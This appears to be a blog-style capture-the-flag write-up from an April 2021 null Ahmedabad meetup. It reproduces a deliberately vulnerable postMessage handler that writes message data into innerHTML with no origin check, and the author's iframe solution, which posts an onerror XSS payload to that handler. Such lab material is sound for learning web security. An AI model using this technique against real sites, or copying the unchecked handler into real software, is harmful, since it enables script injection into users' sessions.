postMessage XSS Write-up | null Ahmedabad Meet, April 2021

postMessage XSS Write-up | null Ahmedabad Meet, April 2021

Exploiting the postMessage() method to achieve XSS in a challenge!

At the April 2021 Monthly Meet of null Ahmedabad, I had delivered a session on GitHub Recon. The session went amazing.

Later on, in the same meet, Parth Jhankharia brother was conducting a Hands-on Challenge for the attendees and the speakers, which was about exploiting the postMessage() method to achieve XSS.

null Ahmedabad Meet 18 April 2021 Monthly Meet is available to watch at youtu.be/1olCbbuVXSY.

Challenge Source

You can find the challenge source codes here: github.com/shurmajee/postmessage-vulnerabil..

Challenge Information

For the challenge, he provided a URL; 66d5599de053.ngrok.io (not available now, so better self-host the challenge through above repository), which consisted of 3 files:

  • rewards.html (the main page),
  • start.html,
  • sudoku.png

I will be including the contents of the first two files below, so that you can reproduce the solution in your local instance (you can view the challenge source as well, which I provided above).

rewards.html

<!DOCTYPE html>
<meta charset="utf-8"/>
<head>
<style>
h1,h4{
font-family: garamond;
}
</style>
</head>
<body>
<h1>Welcome to H@X0R rewards</h1>

<script>

var game_url = "http://123f85b309ac.ngrok.io/start.html"; // This URL will depend on the local setup and host entries
//Method used by the legitimate parent site to send message to popup window
function pop1(){
var ref=window.open(game_url,"pop","width=450,height=350,resizable=1");
confirm("Click OK to send message");
ref.postMessage("This Message is sent Via postMessage.","*"); 
}

</script>

<h4>Play Game and Game will Play you.</h4>

<input type="button" value="PLAY" onclick="pop1()" >
</body>
</html>

start.html

<!DOCTYPE html>
<meta charset="utf-8"/>
<head>
<style>
p{
color:crimson;
}
</style>

<script>
function msgHandler(event) 
         {   
            //The origin of the sender and the message contents need to be checked before proceeding 
            //The following code displays the user's name in a welcome message.
            document.getElementById("fs").innerHTML = "Ready to showcase your SUDOKU skills Mr. <p>"+ event.data + "</p>";
         }
window.addEventListener("message", msgHandler);
</script>
</head>
<body>

<h2 id="fs">GAME LOADING...</h2>

<img src="sudoku.png">
</body>
</html>

My Solution

I went through all of the codes in these two files, and then I crafted a iframe element with the following code:

<iframe style="width:100%;height:100%" src="http://66d5599de053.ngrok.io/start.html" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')">

Then, I hosted this file in my VPS as index.html, and simply visited the file, and it executed the XSS payload by sending it to the msgHandler(event) function in start.html.

The reason why this works is because it doesn't validate whether the origin of the message is from the same website or not, and allows any remote URL to become the origin; i.e. it doesn't perform any sort of origin verification checks. In this case, I am doing the same thing that rewards.html does, to achieve XSS through my custom remote origin.

With that being done, I was able to become the first solver, and achieve the First Blood in the challenge.